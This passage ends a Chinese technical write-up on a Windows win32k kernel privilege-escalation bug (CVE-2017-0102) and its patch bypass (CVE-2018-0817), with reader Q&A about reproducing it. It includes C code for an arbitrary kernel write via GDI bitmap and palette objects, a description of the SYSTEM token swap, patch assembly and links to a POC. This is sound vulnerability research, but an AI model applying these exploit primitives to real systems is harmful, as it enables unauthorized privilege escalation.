[0816]00000000 [0817]00000000 [0818]00000000 [0819]00000000
[0820]00000000 [0821]00000000 [0822]00000000 [0823]00000000
[0824]940A8D10 [0825]940A8D3B [0826]00000000 [0827]00000000
[0828]FCD64E54 [0829]FCD64E00 [0830]CDCDCDCD [0831]CDCDCDCD
获取到的像素数据中包含调色板对象的成员数据
观察上面的数据片段,可发现下标 808
的数值是调色板 PALETTE
对象所在内存块的 Gh18
池标记。从下标 809
位置开始的是目标 PALETTE
对象的成员数据。参考前面章节中列出的 PALETTE
类的定义,计算出关键成员域 cEntries
和 apalColor
的下标分别为 814
和 828
。根据成员域 apalColor
的数值计算出当前内存页的基地址,继而定位到位于当前内存页起始位置的位图 SURFACE
对象。
随后通过修改成员域 apalColor
指向预期的内存地址,使目标调色板 PALETTE
对象将新的内存地址作为调色板列表数据区域的首地址。后续操作该调色板对象时,在内核函数中将读写修改后指向地址的内存数据。
根据结构体 BASEOBJECT
的定义:
typedef struct _BASEOBJECT {
HANDLE hHmgr;
PVOID pEntry;
LONG cExclusiveLock;
PW32THREAD Tid;
} BASEOBJECT, *POBJ;
结构体 BASEOBJECT 的定义
成员域 hHmgr
存储当前内核 GDI 对象的句柄,对应像素数据数组下标 809
位置。根据获得的调色板对象句柄,通过调用系统函数 SetPaletteEntries
或 GetPaletteEntries
可以实现对目标地址的写入或读取访问。两个函数的定义如下:
UINT SetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStart,
_In_ UINT cEntries,
_In_ const PALETTEENTRY *lppe
);
UINT GetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStart,
_In_ UINT cEntries,
_Out_ LPPALETTEENTRY lppe
);
函数 Set/GetPaletteEntries 的定义
两个函数的参数一致,各参数依次是:参数 hpal
指向目标调色板对象的句柄,参数 iStart
访问起始调色板表项索引,参数 nEntries
设定或获取调色板表项的数目,参数 lppe
指向用户态存储表项数组缓冲区。利用位图对象和调色板对象相互配合,通过这两个函数实现的任意内存地址写入的验证代码如下:
VOID PointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
UINT iLeng = 0;
pBmpHunted[iExtPalColor] = addr;
iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
PVOID pvTable = NULL;
UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
pvTable = malloc(cbSize);
ZeroMemory(pvTable, cbSize);
memcpy(pvTable, pvBits, cb);
iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
free(pvTable);
}
利用调色板对象任意地址写入的验证代码片段
利用调色板对象任意内存地址读取的代码与之类似。接下来通过实现的任意读写接口,替换当前验证代码进程的 EPROCESS
结构的 TOKEN
指针为系统进程的 TOKEN
指针,实现特权提升的目的,并修复被损坏的 POOL_HEADER
结构和目标位图 SURFACE
对象的相关成员域,以使当前进程能够安全退出。
启动的命令提示符进程已属于 System 用户特权
CVE-2018-0817
在内核函数 EngRealizeBrush
中计算指定内存分配大小的变量的数值时,MS17-017 的补丁程序虽然增加了防止发生整数溢出的校验函数,但是遗漏了在函数向内存分配函数调用传递参数时对 v16 + 0x40
计算语句的校验。然而漏洞验证代码恰可以利用这个遗漏来触发漏洞,造成补丁绕过,漏洞验证代码和利用代码因此在已安装最新安全补丁的 Windows 7 至 Windows 10 操作系统环境中仍旧能够成功触发和提权。
微软在 2018 年 3 月安全公告中公布了新的 CVE-2018-0817 漏洞,并且在安全公告所发布的安全更新中已包含修复该漏洞的补丁程序。补丁程序为函数 EngRealizeBrush
中的 ulSizeTotal + 0x40
计算语句位置增加了 ULongAdd
校验函数:
lea eax, [ebp+ulBufferBytes]
push eax
push dword ptr [ebp+ulSizeTotal]
push 40h
call ?ULongAdd@@YGJKKPAK@Z
test eax, eax
jl loc_BF83E8B4
[...]
mov ebx, [ebp+ulBufferBytes]
[...]
push 'rbeG' ; Tag
push ebx ; size_t
call _PALLOCMEM@8 ; PALLOCMEM(x,x)
mov esi, eax
mov [ebp+var_38], eax
漏洞 CVE-2018-0817 的补丁程序增加校验函数
0x4 链接
[0] 本分析的 POC 下载
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0102/x86.cpp
[1] Windows 2000 图形驱动程序设计指南
http://read.pudn.com/downloads49/sourcecode/windows/vxd/167121/2004-08-31_win2kDDK4.pdf
[2] GDI Palette Objects Local Privilege Escalation (MS17-017)
https://www.exploit-db.com/exploits/42432/
[3] Logical Brush Types
https://msdn.microsoft.com/en-us/library/windows/desktop/dd145038(v=vs.85).aspx
[4] ICM-Enabled Bitmap Functions
https://msdn.microsoft.com/en-us/library/windows/desktop/dd144990(v=vs.85).aspx
[5] Windows Color System
https://msdn.microsoft.com/en-us/library/windows/desktop/dd372446(v=vs.85).aspx
[6] DrvRealizeBrush function
https://msdn.microsoft.com/en-us/library/windows/hardware/ff556273(v=vs.85).aspx
[7] GDI Support Services
https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gdi-support-services
[8] sensepost / gdi-palettes-exp
https://github.com/sensepost/gdi-palettes-exp
[9] GDI Support for Palettes
https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gdi-support-for-palettes
- THE END -
小刀师傅,最近需要复现一下这个漏洞。所以就想按照你的博客里面的文章走,现在卡在了用windbg查看EngRealizeBrush 函数调用栈这一步,想问一下这是如何下断点和调试的呢(用双机还是本地,如果是本地那是要attach哪一个进程或是可执行文件呢)?还有一个问题就是我想编译你在github上面传的POC,但是不知道为什么老是编译不成功,会报错。我用的是VS 2010和2019(都试了一下)。你能不能告诉我你用的是什么编译器
你好,1. 虚拟机内核调试。先attach到其他gui进程、或者在POC适当位置放置int3,再EngRealizeBrush硬件断点。2. POC使用VS2015编写和编译,可以尝试这个版本。
好的,我试试。谢谢师傅指点
小刀师傅,windbg本地内核调试不是不能下断点吗
可以啊。你下断点的方式是什么?不是调本机,是本机调虚拟机。
哦哦明白了,就是双机调试是吗?我理解成本地内核调试了
小刀师傅又来麻烦你了。有个小问题:SURFREF::SURFREF(&ps, hbmp)。这里ps是SURFACE的指针,hbmp是HSURF的指针。但是为什么就能说明是传入的位图句柄获得图案位图的 SURFACE 对象的引用。SURFREF::SURFREF这个函数的功能我在网上没有找到,能请你帮忙解释一下吗
可以查看WRK、NT4、Win2000源代码中的相关定义。
小刀师傅,请问对于psoTarget、psoPattern、psoMask这三个参数传递是有什么方法可以跟踪吗?还是就用IDA静态跟踪呢?我尝试跟踪了一下,但是总会跟丢。(可能逆向基础还不牢固)
没有什么窍门,紧盯传递路径就好了。多对照老源码和新模块的相似和差别。
师傅,在计算使用CreateBitmaps需要创建多大空间的位图,有这样一个公式:0xFE8 - 8 - 0x154 = 0xE8C;这公式里的8是什么含义,对齐吗?
请阅读原文中你说的这个公式上面的“内存布局”小节的第二段内容。
这个8是当前内存页的POOL_HEADER吗?破坏的是下一页的POOL_HEADER
每个POOL内存块都有POOL_HEADER,并非是一个页只有一个。。。
小刀师傅,对于内存布局中ENGBRUSH的iFormat覆盖SURFACE->sizeLBitmap.cy从而使得位图的可操作的范围变大,这里还是能理解的,但是后面有一句话“下一内存页中相同位置的位图 SURFACE 对象的成员区域。”想知道这里范围变化能超过一个内存页大小吗?(是不是对于SURFACE->sizeLBitmap.cx的大小也有要求)
你的疑问在原文中都有解答,可以先阅读文章内容。
师傅,“获取到的像素数据中包含调色板对象的成员数据”那些下标和数据是如何得到的(windbg吗)?
如果想要用windbg验证这个整个流程的话,我是这样想的,想请您看看对不对:
①在漏洞函数(win32k!EngRealizeBrush +0x19c)下一个断点,跟进PALLOCMEM,然后查看内存布局(这部分已经成功了,的确是0xdf8-0x1f0-0x18)
②然后查看下一内存页的pool_header和Bitmap的size,记录当前页Bitmap的pvscan0
③在ENGBRUSH运行结束处下一个断点(Bitmap初始化完成,对Bitmap的宽进行覆盖),再查看下一页的数据(pool_header和Bitmap的Size),验证pool_header被破坏和Bitmap->Size->c_x从1被覆盖为6,记录pvscan0指向的地址
④在win32k!GreSetBitmapBits下一个断点,运行结束之后,再次查看pvscan0,验证指针被修改为其他地址
从第④步开始就不是很懂要怎么验证了,前三步对于内存和覆盖的验证应该都算成功了,数据也都对上了,所以想问一下接下来该如何下断点和查看什么数据
感谢师傅了!!!
(0)windbg
(1)√
(2)√
(3)√
(4)你要验证什么?验证的目标在你第4步已经描述了啊…
不知道在什么地方下断点的话,就在POC里添加int3好了。
初次断点时记下pvscan0的地址,后续断点看值变化。
您好,有个问题想请教您一下i。您的复现环境是什么呢?我用VM15.1版本的Win7专业版的SP1,win32k.sys版本是17514,一直复现不了。
内存设置的多大?32位还是64位的系统呢?